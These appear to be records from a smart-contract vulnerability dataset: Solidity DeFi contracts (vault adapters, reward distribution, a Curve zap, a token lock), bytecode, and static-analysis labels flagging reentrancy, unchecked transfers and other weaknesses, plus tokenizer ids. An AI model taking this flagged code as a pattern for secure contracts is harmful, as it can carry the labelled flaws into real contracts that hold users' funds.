vault token balance into staking pool uint256 vaultShareBalance = vault.balanceOf(address(this)); vault.approve(address(stakingPool), vaultShareBalance); stakingPool.stake(vaultShareBalance); } function withdraw(uint256 amountInUnderlying) external onlyOwner returns (uint256 actualAmountWithdrawn) { require( amountInUnderlying > 0, "HarvestMarket: amountInUnderlying is 0" ); // Withdraw `amountInShares` shares from vault uint256 sharePrice = vault.getPricePerFullShare(); uint256 amountInShares = amountInUnderlying.decdiv(sharePrice); if (amountInShares > 0) { stakingPool.withdraw(amountInShares); vault.withdraw(amountInShares); } // Transfer stablecoin to `msg.sender` actualAmountWithdrawn = stablecoin.balanceOf(address(this)); if (actualAmountWithdrawn > 0) { stablecoin.safeTransfer(msg.sender, actualAmountWithdrawn); } } function claimRewards() external { stakingPool.getReward(); ERC20 rewardToken = ERC20(stakingPool.rewardToken()); rewardToken.safeTransfer(rewards, rewardToken.balanceOf(address(this))); } function totalValue() external returns (uint256) { uint256 sharePrice = vault.getPricePerFullShare(); uint256 shareBalance = vault.balanceOf(address(this)).add(stakingPool.balanceOf(address(this))); return shareBalance.decmul(sharePrice); } function incomeIndex() external returns (uint256) { return vault.getPricePerFullShare(); } /** Param setters */ function setRewards(address newValue) external onlyOwner { require(newValue.isContract(), "HarvestMarket: not contract"); rewards = newValue; emit ESetParamAddress(msg.sender, "rewards", newValue); } } // SPDX-License-Identifier: MIT pragma solidity 0.5.17; interface HarvestVault { function deposit(uint256) external; function withdraw(uint256) external; function getPricePerFullShare() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT pragma solidity 0.5.17; interface HarvestStaking { function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function rewardToken() external returns (address); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.5.17; interface Vault { function deposit(uint256) external; function withdraw(uint256) external; function getPricePerFullShare() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../IMoneyMarket.sol"; import "../../libs/DecMath.sol"; import "./imports/Vault.sol"; contract YVaultMarket is IMoneyMarket, Ownable { using SafeMath for uint256; using DecMath for uint256; using SafeERC20 for ERC20; using Address for address; Vault public vault; ERC20 public stablecoin; constructor(address _vault, address _stablecoin) public { // Verify input addresses require( _vault.isContract() && _stablecoin.isContract(), "YVaultMarket: An input address is not a contract" ); vault = Vault(_vault); stablecoin = ERC20(_stablecoin); } function deposit(uint256 amount) external onlyOwner { require(amount > 0, "YVaultMarket: amount is 0"); // Transfer `amount` stablecoin from `msg.sender` stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Approve `amount` stablecoin to vault stablecoin.safeIncreaseAllowance(address(vault), amount); // Deposit `amount` stablecoin to vault vault.deposit(amount); } function withdraw(uint256 amountInUnderlying) external onlyOwner returns (uint256 actualAmountWithdrawn) { require( amountInUnderlying > 0, "YVaultMarket: amountInUnderlying is 0" ); // Withdraw `amountInShares` shares from vault uint256 sharePrice = vault.getPricePerFullShare(); uint256 amountInShares = amountInUnderlying.decdiv(sharePrice); if (amountInShares > 0) { vault.withdraw(amountInShares); } // Transfer stablecoin to `msg.sender` actualAmountWithdrawn = stablecoin.balanceOf(address(this)); if (actualAmountWithdrawn > 0) { stablecoin.safeTransfer(msg.sender, actualAmountWithdrawn); } } function claimRewards() external {} function totalValue() external returns (uint256) { uint256 sharePrice = vault.getPricePerFullShare(); uint256 shareBalance = vault.balanceOf(address(this)); return shareBalance.decmul(sharePrice); } function incomeIndex() external returns (uint256) { return vault.getPricePerFullShare(); } function setRewards(address newValue) external {} } pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "./libs/CloneFactory.sol"; import "./NFT.sol"; contract NFTFactory is CloneFactory { address public template; event CreateClone(address _clone); constructor(address _template) public { template = _template; } function createClone( string calldata _tokenName, string calldata _tokenSymbol ) external returns (NFT) { NFT clone = NFT(createClone(template)); // initialize clone.init( msg.sender, _tokenName, _tokenSymbol ); emit CreateClone(address(clone)); return clone; } function isClone(address query) external view returns (bool) { return isClone(template, query); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.5.17; import "./OneSplitDumper.sol"; import "./withdrawers/CurveLPWithdrawer.sol"; import "./withdrawers/YearnWithdrawer.sol"; contract Dumper is OneSplitDumper, CurveLPWithdrawer, YearnWithdrawer { constructor( address _oneSplit, address _rewards, address _rewardToken ) public OneSplitDumper(_oneSplit, _rewards, _rewardToken) {} } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.5.17; import "@openzeppelin/contracts/access/roles/SignerRole.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./imports/OneSplitAudit.sol"; import "../IRewards.sol"; contract OneSplitDumper is SignerRole { using SafeERC20 for IERC20; OneSplitAudit public oneSplit; IRewards public rewards; IERC20 public rewardToken; constructor( address _oneSplit, address _rewards, address _rewardToken ) public { oneSplit = OneSplitAudit(_oneSplit); rewards = IRewards(_rewards); rewardToken = IERC20(_rewardToken); } function getDumpParams(address tokenAddress, uint256 parts) external view returns (uint256 returnAmount, uint256[] memory distribution) { IERC20 token = IERC20(tokenAddress); uint256 tokenBalance = token.balanceOf(address(this)); (returnAmount, distribution) = oneSplit.getExpectedReturn( tokenAddress, address(rewardToken), tokenBalance, parts, 0 ); } function dump( address tokenAddress, uint256 returnAmount, uint256[] calldata distribution ) external onlySigner { // dump token for rewardToken IERC20 token = IERC20(tokenAddress); uint256 tokenBalance = token.balanceOf(address(this)); token.safeIncreaseAllowance(address(oneSplit), tokenBalance); uint256 rewardTokenBalanceBefore = rewardToken.balanceOf(address(this)); oneSplit.swap( tokenAddress, address(rewardToken), tokenBalance, returnAmount, distribution, 0 ); uint256 rewardTokenBalanceAfter = rewardToken.balanceOf(address(this)); require( rewardTokenBalanceAfter > rewardTokenBalanceBefore, "OneSplitDumper: receivedRewardTokenAmount == 0" ); } function notify() external onlySigner { uint256 balance = rewardToken.balanceOf(address(this)); rewardToken.safeTransfer(address(rewards), balance); rewards.notifyRewardAmount(balance); } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "../Roles.sol"; contract SignerRole is Context { using Roles for Roles.Role; event SignerAdded(address indexed account); event SignerRemoved(address indexed account); Roles.Role private _signers; constructor () internal { _addSigner(_msgSender()); } modifier onlySigner() { require(isSigner(_msgSender()), "SignerRole: caller does not have the Signer role"); _; } function isSigner(address account) public view returns (bool) { return _signers.has(account); } function addSigner(address account) public onlySigner { _addSigner(account); } function renounceSigner() public { _removeSigner(_msgSender()); } function _addSigner(address account) internal { _signers.add(account); emit SignerAdded(account); } function _removeSigner(address account) internal { _signers.remove(account); emit SignerRemoved(account); } } pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // SPDX-License-Identifier: MIT pragma solidity 0.5.17; interface OneSplitAudit { function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags ) external payable; function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) external view returns (uint256 returnAmount, uint256[] memory distribution); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.5.17; interface IRewards { function notifyRewardAmount(uint256 reward) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.5.17; import "@openzeppelin/contracts/access/roles/SignerRole.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../imports/Curve.sol"; import "../../IRewards.sol"; contract CurveLPWithdrawer is SignerRole { function curveWithdraw2( address lpTokenAddress, address curvePoolAddress, uint256[2] calldata minAmounts ) external onlySigner { IERC20 lpToken = IERC20(lpTokenAddress); uint256 lpTokenBalance = lpToken.balanceOf(address(this)); ICurveFi curvePool = ICurveFi(curvePoolAddress); curvePool.remove_liquidity(lpTokenBalance, minAmounts); } function curveWithdraw3( address lpTokenAddress, address curvePoolAddress, uint256[3] calldata minAmounts ) external onlySigner { IERC20 lpToken = IERC20(lpTokenAddress); uint256 lpTokenBalance = lpToken.balanceOf(address(this)); ICurveFi curvePool = ICurveFi(curvePoolAddress); curvePool.remove_liquidity(lpTokenBalance, minAmounts); } function curveWithdraw4( address lpTokenAddress, address curvePoolAddress, uint256[4] calldata minAmounts ) external onlySigner { IERC20 lpToken = IERC20(lpTokenAddress); uint256 lpTokenBalance = lpToken.balanceOf(address(this)); ICurveFi curvePool = ICurveFi(curvePoolAddress); curvePool.remove_liquidity(lpTokenBalance, minAmounts); } function curveWithdraw5( address lpTokenAddress, address curvePoolAddress, uint256[5] calldata minAmounts ) external onlySigner { IERC20 lpToken = IERC20(lpTokenAddress); uint256 lpTokenBalance = lpToken.balanceOf(address(this)); ICurveFi curvePool = ICurveFi(curvePoolAddress); curvePool.remove_liquidity(lpTokenBalance, minAmounts); } function curveWithdrawOneCoin( address lpTokenAddress, address curvePoolAddress, int128 coinIndex, uint256 minAmount ) external onlySigner { IERC20 lpToken = IERC20(lpTokenAddress); uint256 lpTokenBalance = lpToken.balanceOf(address(this)); Zap curvePool = Zap(curvePoolAddress); curvePool.remove_liquidity_one_coin( lpTokenBalance, coinIndex, minAmount ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.5.17; interface ICurveFi { function remove_liquidity_imbalance( uint256[2] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity_imbalance( uint256[3] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity_imbalance( uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity_imbalance( uint256[5] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external; function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function remove_liquidity(uint256 _amount, uint256[5] calldata amounts) external; } interface Zap { function remove_liquidity_one_coin( uint256, int128, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.5.17; import "@openzeppelin/contracts/access/roles/SignerRole.sol"; import "../imports/yERC20.sol"; contract YearnWithdrawer is SignerRole { function yearnWithdraw(address yTokenAddress) external onlySigner { yERC20 yToken = yERC20(yTokenAddress); uint256 balance = yToken.balanceOf(address(this)); yToken.withdraw(balance); } } // SPDX-License-Identifier: MIT pragma solidity 0.5.17; // NOTE: Basically an alias for Vaults interface yERC20 { function balanceOf(address owner) external view returns (uint256); function deposit(uint256 _amount) external; function withdraw(uint256 _amount) external; function getPricePerFullShare() external view returns (uint256); } /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: Rewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.5.17; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract IRewardDistributionRecipient is Ownable { mapping(address => bool) public isRewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require( isRewardDistribution[_msgSender()], "Caller is not reward distribution" ); _; } function setRewardDistribution( address _rewardDistribution, bool _isRewardDistribution ) external onlyOwner { isRewardDistribution[_rewardDistribution] = _isRewardDistribution; } } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakeToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _stakeToken) public { stakeToken = IERC20(_stakeToken); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); } } contract Rewards is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public rewardToken; uint256 public constant DURATION = 7 days; uint256 public starttime; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier checkStart { require(block.timestamp >= starttime, "Rewards: not start"); _; } constructor( address _stakeToken, address _rewardToken, uint256 _starttime ) public LPTokenWrapper(_stakeToken) { rewardToken = IERC20(_rewardToken); starttime = _starttime; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Rewards: cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Rewards: cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { // https://sips.synthetix.io/sips/sip-77 require(reward > 0, "Rewards: reward == 0"); require( reward < uint256(-1) / 10**18, "Rewards: rewards too large, would lock" ); if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } } pragma solidity 0.5.17; interface CurveZapIn { /** @notice This function adds liquidity to a Curve pool with ETH or ERC20 tokens @param toWhomToIssue The address to return the Curve LP tokens to @param fromToken The ERC20 token used for investment (address(0x00) if ether) @param swapAddress Curve swap address for the pool @param incomingTokenQty The amount of fromToken to invest @param minPoolTokens The minimum acceptable quantity of tokens to receive. Reverts otherwise @return Amount of Curve LP tokens received */ function ZapIn( address toWhomToIssue, address fromToken, address swapAddress, uint256 incomingTokenQty, uint256 minPoolTokens ) external payable returns (uint256 crvTokensBought); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "./imports/CurveZapIn.sol"; import "../DInterest.sol"; import "../NFT.sol"; contract ZapCurve is IERC721Receiver { using SafeERC20 for ERC20; modifier active { isActive = true; _; isActive = false; } CurveZapIn public constant zapper = CurveZapIn(0xf9A724c2607E5766a7Bbe530D6a7e173532F9f3a); bool public isActive; function zapCurveDeposit( address pool, address swapAddress, address inputToken, uint256 inputTokenAmount, uint256 minOutputTokenAmount, uint256 maturationTimestamp ) external active { DInterest poolContract = DInterest(pool); ERC20 stablecoin = poolContract.stablecoin(); NFT depositNFT = poolContract.depositNFT(); // zap into curve uint256 outputTokenAmount = _zapTokenInCurve( swapAddress, inputToken, inputTokenAmount, minOutputTokenAmount ); // create deposit stablecoin.safeIncreaseAllowance(pool, outputTokenAmount); poolContract.deposit(outputTokenAmount, maturationTimestamp); // transfer deposit NFT to msg.sender uint256 nftID = poolContract.depositsLength(); depositNFT.safeTransferFrom(address(this), msg.sender, nftID); } function zapCurveFundAll( address pool, address swapAddress, address inputToken, uint256 inputTokenAmount, uint256 minOutputTokenAmount ) external active { DInterest poolContract = DInterest(pool); ERC20 stablecoin = poolContract.stablecoin(); NFT fundingNFT = poolContract.fundingNFT(); // zap into curve uint256 outputTokenAmount = _zapTokenInCurve( swapAddress, inputToken, inputTokenAmount, minOutputTokenAmount ); // create funding stablecoin.safeIncreaseAllowance(pool, outputTokenAmount); poolContract.fundAll(); // transfer funding NFT to msg.sender uint256 nftID = poolContract.fundingListLength(); fundingNFT.safeTransferFrom(address(this), msg.sender, nftID); } function zapCurveFundMultiple( address pool, address swapAddress, address inputToken, uint256 inputTokenAmount, uint256 minOutputTokenAmount, uint256 toDepositID ) external active { DInterest poolContract = DInterest(pool); ERC20 stablecoin = poolContract.stablecoin(); NFT fundingNFT = poolContract.fundingNFT(); // zap into curve uint256 outputTokenAmount = _zapTokenInCurve( swapAddress, inputToken, inputTokenAmount, minOutputTokenAmount ); // create funding stablecoin.safeIncreaseAllowance(pool, outputTokenAmount); poolContract.fundMultiple(toDepositID); // transfer funding NFT to msg.sender uint256 nftID = poolContract.fundingListLength(); fundingNFT.safeTransferFrom(address(this), msg.sender, nftID); } /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4) { require(isActive, "ZapCurve: inactive"); return this.onERC721Received.selector; } function _zapTokenInCurve( address swapAddress, address inputToken, uint256 inputTokenAmount, uint256 minOutputTokenAmount ) internal returns (uint256 outputTokenAmount) { ERC20 inputTokenContract = ERC20(inputToken); // transfer inputToken from msg.sender inputTokenContract.safeTransferFrom( msg.sender, address(this), inputTokenAmount ); // zap inputToken into curve inputTokenContract.safeIncreaseAllowance( address(zapper), inputTokenAmount ); outputTokenAmount = zapper.ZapIn( address(this), inputToken, swapAddress, inputTokenAmount, minOutputTokenAmount ); } }
0x608060405234801561001057600080fd5b50600436106100405760003560e01c8062ae367614610045578063290fd7961461006e5780636f2ddd931461008e575b600080fd5b610058610053366004610297565b6100a3565b60405161006591906103d2565b60405180910390f35b61008161007c3660046102bd565b6100c0565b60405161006591906103e0565b610096610181565b6040516100659190610383565b600080546100ba906001600160a01b031683610190565b92915050565b6000805481906100d8906001600160a01b03166101f1565b60405163b2b45df560e01b81529091506001600160a01b0382169063b2b45df59061010f9033908a908a908a908a90600401610391565b600060405180830381600087803b15801561012957600080fd5b505af115801561013d573d6000803e3d6000fd5b505050507f44d1f2c6a2356060e4b334ad84b6c9a77552b4ed8af3c16b1135fdfc89edd3c0816040516101709190610383565b60405180910390a195945050505050565b6000546001600160a01b031681565b6000808360601b905060405169363d3d373d3d3d363d7360b01b815281600a8201526e5af43d82803e903d91602b57fd5bf360881b601e82015260408101602d600082873c600d810151600d83015114815183511416935050505092915050565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b80356100ba8161043b565b60008083601f84011261026057600080fd5b50813567ffffffffffffffff81111561027857600080fd5b60208301915083600182028301111561029057600080fd5b9250929050565b6000602082840312156102a957600080fd5b60006102b58484610243565b949350505050565b600080600080604085870312156102d357600080fd5b843567ffffffffffffffff8111156102ea57600080fd5b6102f68782880161024e565b9450945050602085013567ffffffffffffffff81111561031557600080fd5b6103218782880161024e565b95989497509550505050565b61033681610413565b82525050565b610336816103f7565b61033681610402565b6103368161041a565b600061036383856103ee565b9350610370838584610425565b61037983610431565b9093019392505050565b602081016100ba828461033c565b6060810161039f828861032d565b81810360208301526103b2818688610357565b905081810360408301526103c7818486610357565b979650505050505050565b602081016100ba8284610345565b602081016100ba828461034e565b90815260200190565b60006100ba82610407565b151590565b6001600160a01b031690565b60006100ba825b60006100ba826103f7565b82818337506000910152565b601f01601f191690565b610444816103f7565b811461044f57600080fd5b5056fea365627a7a72315820a6ab7cf00838e06176f99fd3b16da86cc28a81ec1b9be8023ac77c5c09677cd56c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "name-reused", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'name-reused', 'impact': 'High', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 16048, 7011, 17788, 2094, 27009, 2692, 2575, 10790, 20842, 2094, 2549, 2546, 2549, 4215, 2683, 2050, 18139, 2546, 18939, 2063, 21057, 2575, 2620, 2063, 27009, 2487, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2459, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,667
0x958222644ecb96366c9e474bcb767fab75d010a5
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30067200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x8E5a7151f257863c72831Aa4071c7327c22299e7; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
